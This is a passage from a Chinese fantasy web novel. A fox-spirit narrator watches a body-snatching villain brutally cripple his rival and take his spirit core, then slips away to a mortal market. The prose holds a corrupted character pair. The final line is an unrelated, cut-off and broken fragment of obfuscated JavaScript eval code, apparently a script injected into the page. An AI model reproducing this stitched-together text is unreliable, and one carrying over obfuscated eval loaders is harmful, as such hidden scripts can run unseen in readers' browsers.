苏和试着运转了一□□内磅礴却略显滞涩的灵力,微微蹙眉,似乎不太满意,但想到目的达成,很快又舒展开。
他居高临下看着脚边的小狐狸,语气平淡却带着威胁:“跟我走,或者死。”
小狐狸和唐桉顿时一个激灵,狂点头。
有句古话说得好,识时务者为俊杰。
苏和嘴角满意一勾,用着顾桉那副清冷出尘的皮囊,却做出这般邪气的表情,怎么看怎么诡异。
“很好,从今往后,你便是我的灵兽了,只要乖乖听话,不生二心,我自会助你修炼,将来得道飞升,也未尝不可。”
唐桉面无表情:“……”
神特么灵兽!
他忍不住开始深刻反思,自己当年到底是哪根筋搭错了,竟然会喜欢上这种中二病晚期兼变态的人。
走前,苏和最后看了眼还趴在地上不省人事的苏澄月,想了想,觉得这样还不够稳妥,于是抬手挑断了对方的四肢筋脉,紧接着又残忍地废掉了丹田灵根。
最后,他似乎仍不放心,并指如刀,生生剖开苏澄月的腹部,将那颗已黯淡无光的灵府直接挖取了出来。
苏和掂量了一下手中那团微弱的光华,随手捏碎,唇角勾起一抹残忍而满足的弧度,对着昏迷的仇敌吐出经典反派语录。
“从今往后,我就是你的前世了。”
全程围观的唐桉沉默是金。
真狠啊。
苏澄月够狠,这苏和更是狠毒得毫无人性。
小狐狸似乎被这血腥恐怖的一幕彻底吓坏了,吱溜一声缩回了识海最深处,直接将身体的全部控制权留给了唐桉。
于是后面,他就像个刚学走路的婴儿,操控着四只不太协调的狐狸腿,跌跌撞撞地跟上扬长而去的苏和。
苏和似乎对九重天的路径极为熟悉,轻而易举就带着新收的灵兽回到了顾桉的仙府。
顾桉那张床,算上刚刚躺上去的苏和,前前后后已经躺过三个人了。
这还没算上当时偶尔过来串门蹭睡的池映。
唐桉:“……”
好冷的笑话。
不过眼下有一个更地狱级的笑话,他不知道该不该笑。
那就是苏和这个傻缺,好像压根没发现,顾桉这具身体根本就是个外强中干快要油尽灯枯的破烂壳子。
之前看不出异样,是因为全靠着沈七的血硬生生吊着。
如今才过去三天不到,没有血续命,真正的隐患就彻底压不住了。
比如,苏和已经开始频频咳血,走三步就得喘一口大气,时而还会头晕眼花,甚至走着走着就直接撞到墙或者柱子上。
但他似乎宁愿坚信自己是修炼绝世神功不慎走火入魔的甜蜜负担,也打死不愿相信这身体根本就是个即将报废的次品。
唐桉内心狂笑,乐得从识海里揪出睡得正香的小狐狸,ruaruarua。
幸好沈七还没被苏和找到。
说起这个,还得感谢顾桉那个独家秘法的袖中乾坤,其原理大概类似于现代的密码保险箱,没有特定的神魂印记和法诀,根本打不开。
看着坐在铜镜前,正对着鬓角新冒出的一根白头发时而低笑时而阴沉的苏和。
唐桉轻轻叹了口气。
天道好轮回,苍天饶过谁。
不过……
他眼珠一转,看了看窗外缥缈的云海,又用爪子推了推怀里睡得正香的小狐狸:“快醒醒,别睡了,带你去个好玩的地方。”
小狐狸懒洋洋睁开眼,打了个巨大的哈欠,敷衍地:“嗷……”
趁苏和还沉浸在长皱纹的打击中没回过神来,一只火红的小狐狸悄无声息溜出了仙府,重新来到了人间。
因为小狐狸修为不高,这次落地点在一个热闹的集市附近。
从天而降时,它运气极好地砸在了一块白布上,连带着把旁边一块写着卖身葬父的木牌子给撞翻摔成了两半。
还没等小狐狸晕头转向地爬起来,一只结实有力布满薄茧的大手就粗鲁揪着它后颈皮,把它从白布上拎了起来。
透过小狐狸的视野,唐桉能清晰地看见面前男人的模样。
剑眉星目,鼻梁高挺,肤色是健康的蜜色,上身只随意披着一件洗得发白的粗布麻衣,扣子散乱着,露出线条分明的胸腹肌,整个人散发着一种原始的、野性的、又带着几分落拓不羁的气质,很像……
唐桉愣住。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.repla